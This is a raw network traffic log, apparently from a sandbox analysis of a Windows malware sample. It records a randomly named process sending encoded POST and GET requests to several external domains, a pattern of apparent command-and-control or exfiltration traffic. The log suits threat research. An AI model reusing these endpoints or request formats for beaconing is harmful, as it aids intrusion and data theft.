Sep 12, 2024 15:06:05.844846010 CEST	10788	OUT	POST /5jwl/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Cache-Control: no-cache Content-Length: 10300 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.fslab.tech Origin: http://www.fslab.tech Referer: http://www.fslab.tech/5jwl/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko Data Raw: 33 74 56 3d 62 67 43 36 50 38 42 56 48 47 33 4d 59 4b 35 7a 37 68 7a 31 31 6c 5a 4f 6c 45 47 55 74 36 49 63 69 52 7a 36 33 70 32 2b 64 6a 74 78 59 51 49 7a 6d 2f 46 32 46 69 41 53 7a 73 5a 6e 47 33 49 38 6a 79 79 79 6a 46 76 70 32 75 66 6d 46 36 38 73 2f 43 46 44 30 35 63 57 73 73 61 65 45 73 65 4e 65 39 6d 53 76 6a 51 58 33 42 57 2b 53 7a 37 6d 59 39 71 6c 52 50 53 36 4a 59 58 4b 67 70 46 69 56 6b 78 67 50 34 43 30 61 30 6c 69 38 79 58 57 5a 68 6c 6f 33 34 44 53 4e 54 39 61 65 6e 41 6d 38 34 46 68 61 62 58 51 77 2f 4c 72 53 42 47 66 73 47 37 53 5a 45 6f 66 6f 51 38 6f 68 43 56 2b 59 6d 61 37 59 45 39 4c 38 39 32 50 35 52 67 47 56 56 5a 68 61 4c 6e 53 53 43 43 79 41 4e 4b 4a 59 56 72 61 32 56 55 78 58 75 4b 41 75 43 4d 35 43 50 73 78 37 5a 51 2f 4c 49 70 37 33 2f 38 55 6f 6c 6e 76 45 2f 41 69 61 46 6e 4e 2b 48 71 30 2f 46 74 49 36 6a 69 42 64 65 76 4f 33 79 66 47 69 41 33 68 6a 57 59 71 62 4c 6d 41 63 2b 39 4c 72 74 58 58 55 4a 53 4e 53 71 77 50 76 63 71 78 54 69 6a 51 6e 42 37 37 63 66 45 4b 56 4a [TRUNCATED] Data Ascii: 3tV=bgC6P8BVHG3MYK5z7hz11lZOlEGUt6IciRz63p2+djtxYQIzm/F2FiASzsZnG3I8jyyyjFvp2ufmF68s/CFD05cWssaeEseNe9mSvjQX3BW+Sz7mY9qlRPS6JYXKgpFiVkxgP4C0a0li8yXWZhlo34DSNT9aenAm84FhabXQw/LrSBGfsG7SZEofoQ8ohCV+Yma7YE9L892P5RgGVVZhaLnSSCCyANKJYVra2VUxXuKAuCM5CPsx7ZQ/LIp73/8UolnvE/AiaFnN+Hq0/FtI6jiBdevO3yfGiA3hjWYqbLmAc+9LrtXXUJSNSqwPvcqxTijQnB77cfEKVJNrAEOo95PTxr2zDkg/bxkm+sIyQsVfICSPke5MoNiQ3scdvliE6FrS662478oLj4e7FeHn9SMjXG5AgcqEvMBhG8ptfjp2HaDHhEq/m2MjNHi7gicCxXUYdpgpR13uHbCeqqR5zVi7KKtQRlTdz1OBBFNKNvzJWOVJfBbARuoM5efvFW1vfbdvoGRmw6YjOTeB63GsjmIsfxPNSHa9AuhXJhLPadpseDhdzP+chmNRvRlF7Yb0dUNtU2/r0kgZbwCFnMeGy48pjJJr02r7woMP1lOin7Zh/+847wqSeMvWLEPPDBMr9vPMhxBUxcylkRnwFIgJEixQGqeASgo638hWWfNzTDckmjGEvAF+qzUeEQ6qLH3S81zzsZOpXodCpwcfwdgMcjkJvxyf/58crQFGtiicE0jeeijk9zpbJr6fNHe1T+/LfQH1kKaif7JUmL1W8XABOxRqff5QRQox22vponwIn7n4JbScfFErAhloGk8xWHWoKZbSqDJyNsVvyqHGgBYcpBL0jgdxOykdm9aReJ+GSysDeugk0zRC04+m+mWYW2k9ZlcU7kwazHe5gxgZlcA0d6qqZaj0CnMArZiAQWmrGhjqOWFKC/tNIADqzA1kGCX7a0fyKqlDGOJNL5P6n248/qeyhRrZs1WI3KNtdn9KTUlHx4Ah [TRUNCATED]
Sep 12, 2024 15:06:06.832684994 CEST	377	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 12 Sep 2024 13:06:06 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 61 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 4d 8e bd 0e 82 30 14 85 f7 3e c5 95 5d 2e 1a c6 a6 83 02 91 04 91 98 32 38 62 7a 4d 49 90 22 2d 1a df de 02 8b e3 f9 fb 72 f8 26 b9 1c e5 ad 4a e1 24 cf 05 54 f5 a1 c8 8f 10 6c 11 f3 54 66 88 89 4c d6 64 1f 46 88 69 19 08 c6 b5 7b 76 82 6b 6a 94 17 ae 75 1d 89 38 8a a1 34 0e 32 33 f5 8a e3 6a 32 8e 4b 89 df 8d fa ce bb 9d f8 eb 78 c5 f8 20 a4 26 18 e9 35 91 75 a4 a0 be 16 f0 69 2c f4 9e f5 98 59 60 7a 70 ba b5 60 69 7c d3 18 72 1c fc 0c 17 a2 c7 cf 4f d8 0f f3 7c 15 3c c4 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: acM0>].28bzMI"-r&J$TlTfLdFi{vkju8423j2Kx &5ui,Y`zp`i\|rO\|<0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49750	160.251.148.115	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:06:08.382653952 CEST	429	OUT	GET /5jwl/?3tV=WiqaMLg9GlvLXaJn7h+mylxer0KY04sj1yDW0eaYUTp/DgBuxfteLRta+sEBNgYjuWmWpmmo3drGW8kplXtIxb0p1+mOEbGDGuu9pjk/4w3rZz7uLvbccNY=&IhkTb=xPfHG0o8kZI8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close Host: www.fslab.tech User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko
Sep 12, 2024 15:06:09.187525988 CEST	359	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 12 Sep 2024 13:06:09 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 196 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49751	3.33.130.190	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:06:14.231529951 CEST	686	OUT	POST /ymla/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Cache-Control: no-cache Content-Length: 200 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.vip66.zone Origin: http://www.vip66.zone Referer: http://www.vip66.zone/ymla/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko Data Raw: 33 74 56 3d 4d 74 43 6e 50 6a 42 4b 58 48 6d 34 51 55 6b 70 59 2b 33 77 53 39 32 63 67 58 75 71 31 6c 39 33 33 41 31 74 4e 70 32 7a 4f 56 45 2b 73 4f 38 4a 4b 43 4e 52 4e 49 6d 76 67 58 57 78 4a 7a 4a 77 4f 6a 4d 4b 6b 4f 74 41 4e 2f 42 6b 74 6f 33 4c 58 7a 66 46 2f 7a 59 5a 36 2f 4c 77 41 76 6f 72 48 70 79 35 75 31 53 76 32 64 59 2b 64 74 6b 75 51 5a 70 44 32 43 43 6f 68 39 65 4e 35 74 6d 71 39 4a 4a 72 57 32 62 75 34 58 61 39 42 51 47 32 4d 4a 44 37 63 53 71 46 4e 76 4b 35 43 4f 63 5a 73 45 34 59 6d 35 66 50 42 44 73 63 44 71 73 59 6c 7a 48 70 49 75 6b 42 5a 2f 37 48 46 4d 77 56 65 51 3d 3d Data Ascii: 3tV=MtCnPjBKXHm4QUkpY+3wS92cgXuq1l933A1tNp2zOVE+sO8JKCNRNImvgXWxJzJwOjMKkOtAN/Bkto3LXzfF/zYZ6/LwAvorHpy5u1Sv2dY+dtkuQZpD2CCoh9eN5tmq9JJrW2bu4Xa9BQG2MJD7cSqFNvK5COcZsE4Ym5fPBDscDqsYlzHpIukBZ/7HFMwVeQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49752	3.33.130.190	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:06:16.786643982 CEST	706	OUT	POST /ymla/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Cache-Control: no-cache Content-Length: 220 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.vip66.zone Origin: http://www.vip66.zone Referer: http://www.vip66.zone/ymla/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko Data Raw: 33 74 56 3d 4d 74 43 6e 50 6a 42 4b 58 48 6d 34 43 48 38 70 55 39 66 77 56 64 32 54 75 33 75 71 37 46 39 7a 33 48 39 74 4e 74 4f 6a 4f 6d 67 2b 74 72 41 4a 59 44 4e 52 4d 49 6d 76 35 6e 57 6f 48 54 4a 35 4f 69 77 34 6b 50 42 41 4e 38 39 6b 74 73 37 4c 58 67 33 43 2f 6a 59 66 79 66 4c 49 64 2f 6f 72 48 70 79 35 75 31 48 41 32 64 51 2b 64 38 55 75 52 34 70 4d 2f 69 43 72 6f 64 65 4e 6f 39 6d 75 39 4a 4a 4a 57 33 33 58 34 52 65 39 42 55 4f 32 64 39 58 38 48 43 71 44 53 66 4c 2b 47 63 4d 51 6b 6d 5a 44 34 62 7a 56 42 6d 49 6c 43 73 39 43 30 43 6d 2b 61 75 41 79 45 34 79 7a 49 50 4e 63 46 51 47 44 64 43 56 54 42 4f 39 68 53 56 37 72 6f 4e 52 56 79 75 6f 3d Data Ascii: 3tV=MtCnPjBKXHm4CH8pU9fwVd2Tu3uq7F9z3H9tNtOjOmg+trAJYDNRMImv5nWoHTJ5Oiw4kPBAN89kts7LXg3C/jYfyfLId/orHpy5u1HA2dQ+d8UuR4pM/iCrodeNo9mu9JJJW33X4Re9BUO2d9X8HCqDSfL+GcMQkmZD4bzVBmIlCs9C0Cm+auAyE4yzIPNcFQGDdCVTBO9hSV7roNRVyuo=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49753	3.33.130.190	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:06:19.327594995 CEST	10788	OUT	POST /ymla/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Cache-Control: no-cache Content-Length: 10300 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.vip66.zone Origin: http://www.vip66.zone Referer: http://www.vip66.zone/ymla/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko Data Raw: 33 74 56 3d 4d 74 43 6e 50 6a 42 4b 58 48 6d 34 43 48 38 70 55 39 66 77 56 64 32 54 75 33 75 71 37 46 39 7a 33 48 39 74 4e 74 4f 6a 4f 6d 6f 2b 74 65 4d 4a 62 67 6c 52 50 49 6d 76 6d 58 57 74 48 54 49 72 4f 69 70 78 6b 50 38 33 4e 36 78 6b 75 4a 6e 4c 47 42 33 43 77 6a 59 66 2b 2f 4c 7a 41 76 6f 2b 48 71 61 39 75 31 58 41 32 64 51 2b 64 2f 4d 75 57 70 70 4d 7a 43 43 6f 68 39 66 4d 35 74 6d 57 39 4a 41 32 57 33 7a 59 74 78 2b 39 42 31 79 32 4f 6f 44 38 61 53 71 42 52 66 4c 63 47 63 42 49 6b 6d 31 50 34 66 7a 72 42 67 30 6c 41 4a 41 4c 6e 47 57 6e 4c 76 41 59 53 34 71 51 49 39 77 65 44 6e 57 6e 53 42 51 54 64 76 52 77 49 53 44 6c 79 38 5a 43 6d 72 57 6d 55 75 70 47 37 2b 69 6c 76 7a 32 53 33 6c 76 76 64 72 73 54 4a 38 52 34 39 73 59 4d 47 45 4e 46 63 6a 4a 56 4a 62 34 6a 6d 6b 51 33 63 43 39 53 4f 63 56 47 63 59 51 6f 68 61 6c 2b 69 2b 49 78 4d 39 78 53 50 44 6f 6b 69 47 31 4e 49 4f 53 45 70 6a 5a 6c 67 68 4c 41 54 34 59 66 38 79 5a 64 4c 41 38 43 2f 34 54 5a 53 74 6d 4a 4e 42 4d 34 51 67 67 32 4d 6e [TRUNCATED] Data Ascii: 3tV=MtCnPjBKXHm4CH8pU9fwVd2Tu3uq7F9z3H9tNtOjOmo+teMJbglRPImvmXWtHTIrOipxkP83N6xkuJnLGB3CwjYf+/LzAvo+Hqa9u1XA2dQ+d/MuWppMzCCoh9fM5tmW9JA2W3zYtx+9B1y2OoD8aSqBRfLcGcBIkm1P4fzrBg0lAJALnGWnLvAYS4qQI9weDnWnSBQTdvRwISDly8ZCmrWmUupG7+ilvz2S3lvvdrsTJ8R49sYMGENFcjJVJb4jmkQ3cC9SOcVGcYQohal+i+IxM9xSPDokiG1NIOSEpjZlghLAT4Yf8yZdLA8C/4TZStmJNBM4Qgg2MngUZ0k/pDDQPvfRXFuCJxYW3NvUZgqVoMqWPLl8SZPoiJbjQLcp6MBy/tnA5MLdYv3xeQsfiXfk5a/OZbGfnAdUAiTyhBGAlxNwB68tOtDVM2n1qIttHTD4idzZtSjkhSPexh4j2tJvIQgKq95YmivZQPhMLxmwz/R+HoohF+LI3WlwP6s/RokeGu+SqOVpEqYUUULIbvSIrSooOH2qgwvbi5q4r+5FPwwARyhoW2nuVQUq/fEhhzINwn58DNh36eLhHSNtOSeELI45iqIgTaZFq6kGDVnQZyORHQTF8/uMfJ1d2XnbX+msf57g7o+MK2Q0a+JAS/9KvZ7nrTApnaSXnKN8rJJ3kf3/ACU6O2ZACm+LqY5PoWh8HLnSsZZnYqoE5w/ecMvwTlbNGHbzPij13gqJodwvpNCe+a5lOyqXqkVb2vMefv4ZbhtUGOrbBjQCeJMgyc2juRxO7jaVXSseeZdMb/3ZpIqUvU32GqfjUnv96OFqt+Mwr6vW7DwUyLivBmKUNVRQl+E4rk0emqBGyMO75dVCzMlx/VYiULTja18VQanxtbZbwlt87BQRyGWLM4YLYHnm2/T3xgBGX7oWmIU6K2dAkg2j7zUgshgBbDaLJvSeiql83q6iwABFjx1ho/rcQ6vX5VYlZmrqQlRpR2Ep/Xj5sV04 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49754	3.33.130.190	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:06:21.866998911 CEST	429	OUT	GET /ymla/?3tV=BvqHMV0nWlC/dF1qQ9SGd92esk2/yxlmtXJ+OaeVO1Q20dRfY2N3KYLrsWHVHDovdhcIqetDFv1Luq7dPE3I+iALpNHIcfNrfKqLui+R/P1jGO4yN6sj+Bs=&IhkTb=xPfHG0o8kZI8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close Host: www.vip66.zone User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko
Sep 12, 2024 15:06:22.321814060 CEST	398	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 12 Sep 2024 13:06:22 GMT Content-Type: text/html Content-Length: 258 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 33 74 56 3d 42 76 71 48 4d 56 30 6e 57 6c 43 2f 64 46 31 71 51 39 53 47 64 39 32 65 73 6b 32 2f 79 78 6c 6d 74 58 4a 2b 4f 61 65 56 4f 31 51 32 30 64 52 66 59 32 4e 33 4b 59 4c 72 73 57 48 56 48 44 6f 76 64 68 63 49 71 65 74 44 46 76 31 4c 75 71 37 64 50 45 33 49 2b 69 41 4c 70 4e 48 49 63 66 4e 72 66 4b 71 4c 75 69 2b 52 2f 50 31 6a 47 4f 34 79 4e 36 73 6a 2b 42 73 3d 26 49 68 6b 54 62 3d 78 50 66 48 47 30 6f 38 6b 5a 49 38 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?3tV=BvqHMV0nWlC/dF1qQ9SGd92esk2/yxlmtXJ+OaeVO1Q20dRfY2N3KYLrsWHVHDovdhcIqetDFv1Luq7dPE3I+iALpNHIcfNrfKqLui+R/P1jGO4yN6sj+Bs=&IhkTb=xPfHG0o8kZI8"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49755	203.161.43.228	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:06:27.802988052 CEST	683	OUT	POST /top4/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Cache-Control: no-cache Content-Length: 200 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.lyxor.top Origin: http://www.lyxor.top Referer: http://www.lyxor.top/top4/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko Data Raw: 33 74 56 3d 30 59 66 42 58 65 4a 67 5a 55 34 4e 4b 57 32 4c 55 4a 44 6d 78 33 43 62 38 75 70 49 4f 2f 4d 6b 50 45 33 31 6f 6b 31 5a 49 4d 59 66 43 76 2f 4f 48 7a 41 32 68 77 4e 67 2b 6f 65 42 50 34 32 52 6d 75 4e 59 61 41 42 38 31 39 35 6a 4f 6e 76 34 53 55 4f 4d 53 50 2b 2f 77 6e 79 33 69 78 7a 59 54 51 6f 2b 38 44 72 6f 53 55 34 41 59 32 70 48 75 59 43 6b 6d 4b 74 49 43 55 74 31 74 52 4b 62 77 69 4d 46 39 73 52 53 44 57 32 65 6d 4b 78 69 33 2b 58 4c 74 59 4f 48 45 4e 71 49 6b 71 55 52 69 78 53 4e 75 63 49 2f 78 57 57 70 47 73 61 59 55 37 32 56 55 6e 6c 71 41 6a 6b 38 4e 30 72 42 4f 67 3d 3d Data Ascii: 3tV=0YfBXeJgZU4NKW2LUJDmx3Cb8upIO/MkPE31ok1ZIMYfCv/OHzA2hwNg+oeBP42RmuNYaAB8195jOnv4SUOMSP+/wny3ixzYTQo+8DroSU4AY2pHuYCkmKtICUt1tRKbwiMF9sRSDW2emKxi3+XLtYOHENqIkqURixSNucI/xWWpGsaYU72VUnlqAjk8N0rBOg==
Sep 12, 2024 15:06:28.382606030 CEST	658	IN	HTTP/1.1 404 Not Found Date: Thu, 12 Sep 2024 13:06:28 GMT Server: Apache Content-Length: 514 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2e 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 74 65 22 3e 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 6b 65 74 63 68 22 3e [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="./style.css"></head><body>... partial:index.partial.html --><div class="site"><div class="sketch"><div class="bee-sketch red"></div><div class="bee-sketch blue"></div></div><h1>404:<small>Players Not Found</small></h1></div>... partial --> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49756	203.161.43.228	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:06:30.358347893 CEST	703	OUT	POST /top4/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Cache-Control: no-cache Content-Length: 220 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.lyxor.top Origin: http://www.lyxor.top Referer: http://www.lyxor.top/top4/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko Data Raw: 33 74 56 3d 30 59 66 42 58 65 4a 67 5a 55 34 4e 4b 31 2b 4c 59 4b 72 6d 6b 6e 43 61 6c 65 70 49 5a 76 4d 67 50 45 72 31 6f 6c 41 55 49 2b 4d 66 44 4c 37 4f 47 79 41 32 67 77 4e 67 31 49 65 45 52 49 33 66 6d 75 4a 71 61 42 74 38 31 35 52 6a 4f 69 4c 34 53 69 47 4c 53 66 2b 39 38 48 79 31 2f 42 7a 59 54 51 6f 2b 38 44 58 53 53 55 41 41 59 47 5a 48 76 39 2b 6c 6f 71 74 4c 55 45 74 31 70 52 4b 58 77 69 4d 33 39 74 4d 33 44 55 4f 65 6d 49 70 69 35 50 58 49 6a 59 4f 46 41 4e 72 4a 79 76 68 7a 34 55 76 68 67 74 31 61 35 45 48 50 44 71 4c 43 46 4b 58 43 47 6e 42 5a 64 6b 74 49 41 33 57 49 56 6a 30 58 77 78 64 41 47 78 64 57 55 42 74 30 41 55 72 4a 50 73 73 3d Data Ascii: 3tV=0YfBXeJgZU4NK1+LYKrmknCalepIZvMgPEr1olAUI+MfDL7OGyA2gwNg1IeERI3fmuJqaBt815RjOiL4SiGLSf+98Hy1/BzYTQo+8DXSSUAAYGZHv9+loqtLUEt1pRKXwiM39tM3DUOemIpi5PXIjYOFANrJyvhz4Uvhgt1a5EHPDqLCFKXCGnBZdktIA3WIVj0XwxdAGxdWUBt0AUrJPss=
Sep 12, 2024 15:06:30.952228069 CEST	658	IN	HTTP/1.1 404 Not Found Date: Thu, 12 Sep 2024 13:06:30 GMT Server: Apache Content-Length: 514 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2e 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 74 65 22 3e 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 6b 65 74 63 68 22 3e [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="./style.css"></head><body>... partial:index.partial.html --><div class="site"><div class="sketch"><div class="bee-sketch red"></div><div class="bee-sketch blue"></div></div><h1>404:<small>Players Not Found</small></h1></div>... partial --> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49757	203.161.43.228	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:06:32.996753931 CEST	10785	OUT	POST /top4/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Cache-Control: no-cache Content-Length: 10300 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.lyxor.top Origin: http://www.lyxor.top Referer: http://www.lyxor.top/top4/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko Data Raw: 33 74 56 3d 30 59 66 42 58 65 4a 67 5a 55 34 4e 4b 31 2b 4c 59 4b 72 6d 6b 6e 43 61 6c 65 70 49 5a 76 4d 67 50 45 72 31 6f 6c 41 55 49 2b 55 66 43 34 7a 4f 48 52 6f 32 6a 77 4e 67 70 34 65 46 52 49 33 53 6d 75 78 75 61 42 52 4b 31 2f 56 6a 4f 45 58 34 44 77 75 4c 64 66 2b 39 79 58 79 77 69 78 7a 4a 54 51 34 36 38 48 33 53 53 55 41 